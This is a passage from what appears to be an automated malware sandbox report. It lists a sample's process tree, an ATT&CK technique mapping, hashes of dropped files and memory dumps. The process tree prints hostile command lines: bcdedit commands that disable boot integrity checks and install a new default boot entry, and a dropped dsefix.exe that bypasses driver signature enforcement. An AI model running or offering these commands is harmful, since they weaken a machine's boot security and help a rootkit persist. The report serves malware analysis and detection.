C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 1
5⤵
- Modifies boot configuration data using bcdedit
PID:2052

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}
5⤵
- Modifies boot configuration data using bcdedit
PID:5080

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast
5⤵
- Modifies boot configuration data using bcdedit
PID:4052

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -timeout 0
5⤵
- Modifies boot configuration data using bcdedit
PID:5100

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}
5⤵
- Modifies boot configuration data using bcdedit
PID:5036

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set bootmenupolicy legacy
5⤵
- Modifies boot configuration data using bcdedit
PID:4248

C:\Windows\System32\bcdedit.exe
C:\Windows\Sysnative\bcdedit.exe /v
4⤵
- Modifies boot configuration data using bcdedit
PID:3448

C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
4⤵
- Drops file in Drivers directory
- Executes dropped EXE
PID:380

C:\Users\Admin\AppData\Local\Temp\csrss\app.exe
C:\Users\Admin\AppData\Local\Temp\csrss\app.exe -update
4⤵
- Executes dropped EXE
PID:1716

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3444 -s 788
3⤵
- Program crash
PID:1852

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4760 -s 832
2⤵
- Program crash
PID:3104

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s seclogon
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3116

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Disabling Security Tools

T1089

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\csrss\app.exe
MD5
ad76f6dba1bc96dd91ab789d143c8a5e

SHA1
2521b2296a9ac31b01f18e936fd4d490566c22d1

SHA256
85d8620cd42faa6f67c1156e6c7f3c514bccdbef87a4bcac2b7ae9b1d63979c0

SHA512
f737e07c06eebc405ddcdb71116f4b21eed4c2199f28256ab7e3b12320f3b9b7b4e2a6ee03513a0796a553f346073adf1b43c82a34ee27dd9b3ebba56b03139f

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\app.exe
MD5
ad76f6dba1bc96dd91ab789d143c8a5e

SHA1
2521b2296a9ac31b01f18e936fd4d490566c22d1

SHA256
85d8620cd42faa6f67c1156e6c7f3c514bccdbef87a4bcac2b7ae9b1d63979c0

SHA512
f737e07c06eebc405ddcdb71116f4b21eed4c2199f28256ab7e3b12320f3b9b7b4e2a6ee03513a0796a553f346073adf1b43c82a34ee27dd9b3ebba56b03139f

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
MD5
d98e78fd57db58a11f880b45bb659767

SHA1
ab70c0d3bd9103c07632eeecee9f51d198ed0e76

SHA256
414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0

SHA512
aafbd3eee102d0b682c4c854d69d50bac077e48f7f0dd8a5f913c6c73027aed7231d99fc9d716511759800da8c4f0f394b318821e9e47f6e62e436c8725a7831

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
MD5
d98e78fd57db58a11f880b45bb659767

SHA1
ab70c0d3bd9103c07632eeecee9f51d198ed0e76

SHA256
414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0

SHA512
aafbd3eee102d0b682c4c854d69d50bac077e48f7f0dd8a5f913c6c73027aed7231d99fc9d716511759800da8c4f0f394b318821e9e47f6e62e436c8725a7831

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
C:\Windows\rss\csrss.exe
MD5
f6b72a826a885d982df7d5648e37b62c

SHA1
9feeba171ef18d1bb68e4f185c1af7c6d4b1eae6

SHA256
c006abbb1bae333e5973f9c419bfd9c3c721698cf2cf3ffbd1048fdfb4de811b

SHA512
2c52277b03cec9f08861dbebb5df24d9510b02312487a108c2d2411fba1799629e0914276dac84ee6a160ae9b8e34a7f4621dbe4fdf171d44ae1d8d3aeb68f65

Download Submit
C:\Windows\rss\csrss.exe
MD5
f6b72a826a885d982df7d5648e37b62c

SHA1
9feeba171ef18d1bb68e4f185c1af7c6d4b1eae6

SHA256
c006abbb1bae333e5973f9c419bfd9c3c721698cf2cf3ffbd1048fdfb4de811b

SHA512
2c52277b03cec9f08861dbebb5df24d9510b02312487a108c2d2411fba1799629e0914276dac84ee6a160ae9b8e34a7f4621dbe4fdf171d44ae1d8d3aeb68f65

Download Submit
\Users\Admin\AppData\Local\Temp\dbghelp.dll
MD5
f0616fa8bc54ece07e3107057f74e4db

SHA1
b33995c4f9a004b7d806c4bb36040ee844781fca

SHA256
6e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026

SHA512
15242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c

Download Submit
\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe
MD5
335ee604bc5976ee83b38f3dddfed723

SHA1
2511136d8b9d34b521dd6d9d6c9bdd4c34a0e6ac

SHA256
8373267ef4dceb7999ccfa9c3c47e75c2623f5aa16a5e46baf2a394faaf5d77f

SHA512
87ad9512b45bcfcb0d1287788d88adb2563b003c960eb0e36185cbd2d038d878bee6768a1a6585a2f8ba98f294a8c56762af24f7c8cfc1afaf57e67e9ed5a9ee

Download Submit
\Users\Admin\AppData\Local\Temp\osloader.exe
MD5
78c581e475d59efdebee2d3f4355f03f

SHA1
fda6c1f77f772afaa1b44a44c1fb29ee07434d10

SHA256
9f7e7ce0767d327ef0657b02a120f521d27444669587c5ccf282c9b199480aee

SHA512
35ed0fc3d9210af3c24a401500aebc8c31d77bb156c447602ca7e91f359931afbf2b69930d80c8fc412b5ba0b9cea8b22b7396f610b4224bbb77d765af042521

Download Submit
\Users\Admin\AppData\Local\Temp\symsrv.dll
MD5
5c399d34d8dc01741269ff1f1aca7554

SHA1
e0ceed500d3cef5558f3f55d33ba9c3a709e8f55

SHA256
e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f

SHA512
8ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d

Download Submit
memory/204-32-0x0000000000000000-mapping.dmp

Download
memory/380-44-0x0000000000000000-mapping.dmp

Download
memory/1004-11-0x0000000000000000-mapping.dmp

Download
memory/1068-36-0x0000000000000000-mapping.dmp

Download
memory/1128-12-0x0000000000000000-mapping.dmp

Download
memory/1316-13-0x0000000000000000-mapping.dmp

Download
memory/1320-31-0x0000000000000000-mapping.dmp

Download
memory/1564-14-0x0000000000000000-mapping.dmp

Download
memory/1716-47-0x0000000000000000-mapping.dmp

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memory/1776-15-0x0000000000000000-mapping.dmp

Download
memory/1776-19-0x0000000001AB0000-0x0000000001AB1000-memory.dmp

Filesize
4KB

Download
memory/2052-37-0x0000000000000000-mapping.dmp

Download
memory/2512-35-0x0000000000000000-mapping.dmp

Download
memory/2580-21-0x0000000000000000-mapping.dmp

Download
memory/2712-34-0x0000000000000000-mapping.dmp

Download
memory/2912-22-0x0000000000000000-mapping.dmp

Download
memory/3444-5-0x0000000000000000-mapping.dmp

Download
memory/3444-7-0x0000000001480000-0x0000000001481000-memory.dmp

Filesize
4KB

Download
memory/3444-8-0x0000000000400000-0x0000000000B10000-memory.dmp

Filesize
7.1MB

Download
memory/3448-43-0x0000000000000000-mapping.dmp

Download
memory/3548-23-0x0000000000000000-mapping.dmp

Download
memory/4052-39-0x0000000000000000-mapping.dmp

Download
memory/4248-42-0x0000000000000000-mapping.dmp

Download
memory/4508-33-0x0000000000000000-mapping.dmp

Download
memory/4716-29-0x0000000000000000-mapping.dmp

Download
memory/4744-30-0x0000000000000000-mapping.dmp

Download
memory/4760-1-0x00000000016F0000-0x00000000016F1000-memory.dmp

Filesize
4KB

Download
memory/4760-2-0x0000000000400000-0x0000000000B10000-memory.dmp

Filesize
7.1MB

Download
memory/5036-41-0x0000000000000000-mapping.dmp

Download
memory/5080-38-0x0000000000000000-mapping.dmp

Download
memory/5100-40-0x0000000000000000-mapping.dmp

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